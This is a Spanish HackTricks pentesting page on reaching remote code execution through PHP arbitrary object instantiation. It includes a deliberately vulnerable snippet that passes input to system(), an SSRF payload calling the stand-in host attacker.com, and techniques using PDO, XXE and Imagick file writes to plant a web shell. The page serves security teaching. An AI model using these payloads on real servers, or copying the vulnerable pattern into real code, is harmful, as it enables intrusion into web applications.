hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

152 lines
9.3 KiB
Markdown
Raw Normal View History

2023-06-05 18:33:24 +00:00
# PHP - RCE abusando de la creación de objetos: new $\_GET\["a"]\($\_GET\["b"])
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
## Introducción
En la situación en la que se puede crear un nuevo objeto arbitrario como `new $_GET["a"]($_GET["a"])`, es posible obtener RCE, y [**este artículo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) expone diferentes formas de obtener RCE.
## RCE a través de clases personalizadas o autoloading
En la construcción `new $a($b)`, la **variable `$a` representa el nombre de la clase** para la que se creará el objeto, y la variable **`$b` representa el primer argumento** que se pasará al constructor del objeto.
Si `$a` y `$b` provienen de GET/POST, pueden ser **cadenas o matrices de cadenas**. Si provienen de **JSON** u otro lugar, **pueden tener otros tipos**, como objeto o booleano.
Consideremos el siguiente ejemplo:
```php
class App {
function __construct ($cmd) {
system($cmd);
}
}
# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
En este código, puedes establecer `$a` en `App` o `App2` y `$b` en `uname -a`. Después de esto, se ejecutará el comando `uname -a`.
Cuando no hay clases explotables en tu aplicación, o tienes la clase necesaria en un archivo separado que no está incluido en el código vulnerable, puedes echar un vistazo a las funciones de carga automática.
Las **funciones de carga automática** se establecen registrando devoluciones de llamada a través de `spl_autoload_register` o definiendo `__autoload`. Se llaman cuando se intenta crear una instancia de una clase desconocida.
```php
# An example of an autoloading function
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
include $class_name . '.php';
};
# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();
```
Dependiendo de la versión de PHP y el código en las funciones de carga automática, pueden existir algunas formas de obtener una Ejecución Remota de Código a través de la carga automática.
## RCE a través de Clases Integradas
Cuando no se tienen clases personalizadas y carga automática, se puede depender solo de **clases integradas de PHP**.
Existen de 100 a 200 clases integradas de PHP. El número de ellas depende de la versión de PHP y las extensiones instaladas. Todas las clases integradas se pueden listar a través de la función `get_declared_classes`, junto con las clases personalizadas:
```php
var_dump(get_declared_classes());
```
Las clases con constructores útiles se pueden encontrar a través de [la API de reflexión](https://www.php.net/manual/en/book.reflection.php).
Para mostrar los constructores y sus parámetros usando la API de reflexión: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\
![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png)
Si controlas **múltiples parámetros del constructor y puedes llamar a métodos arbitrarios** después, hay muchas formas de obtener una Ejecución de Código Remoto. Pero si solo puedes pasar **un parámetro y no tienes ninguna llamada** al objeto creado, hay **casi nada**.
Conozco solo tres formas de obtener algo de `new $a($b)`.
### **SSRF + deserialización de Phar**
La clase `SplFileObject` implementa un constructor que permite la conexión a cualquier URL local o remota:
```
new SplFileObject('http://attacker.com/');
```
Esto permite SSRF. Además, las SSRF en PHP < 8.0 podrían convertirse en deserializaciones mediante técnicas con el protocolo Phar.
### **Explotando PDOs**
La clase PDO tiene otro constructor interesante:
```php
new PDO("sqlite:/tmp/test.txt")
```
El constructor de `PDO` acepta cadenas DSN, lo que nos permite **conectarnos a cualquier base de datos local o remota** utilizando las **extensiones de base de datos instaladas**. Por ejemplo, la extensión SQLite puede crear archivos vacíos.
### **SoapClient/SimpleXMLElement XXE**
En PHP ≤ 5.3.22 y ≤ 5.4.12, el constructor de SoapClient era **vulnerable a XXE**. El constructor de SimpleXMLElement también era vulnerable a XXE, pero requería libxml2 < 2.9.
## RCE a través de la extensión Imagick
Al verificar las **dependencias** del **proyecto** que intenta explotar, puede encontrar **nuevas clases** que se pueden **abusar para ejecutar comandos** creando un nuevo objeto. En este caso, se descubrió que **Imagick** era útil para ese propósito.
### Analizador VID
El analizador VID permite escribir contenido arbitrario en una ruta arbitraria dentro del sistema de archivos, lo que permitiría a un atacante escribir un PHPshell en una carpeta accesible desde la página web y obtener RCE.
![](<../../../.gitbook/assets/image (157) (3).png>)
#### Analizador VID + Carga de archivos
Cuando se carga un archivo en PHP, se almacena temporalmente en `/tmp/phpXXXXXX`. El analizador VID de Imagick con el protocolo **msl** permite **especificar comodines en las rutas de archivo** (para que el archivo cargado temporalmente se pueda acceder fácilmente) y **copiarlo a cualquier ubicación arbitraria**.\
Esta es otra forma de obtener escritura de archivos arbitraria dentro del sistema de archivos:
![](<../../../.gitbook/assets/image (159).png>)
### PHP Crash + Fuerza Bruta
El [**informe original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) explicaba otra forma de obtener RCE mediante **la carga de archivos con contenido específico** y haciendo que el **servidor se bloquee antes de eliminar** ese archivo y luego **realizando un ataque de fuerza bruta al nombre** del archivo temporal hasta que **Imagick ejecute código PHP arbitrario**.
Sin embargo, aparentemente el **truco de bloqueo** descubierto solo **funcionó en una versión antigua de ImageMagick**.
## Referencias
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>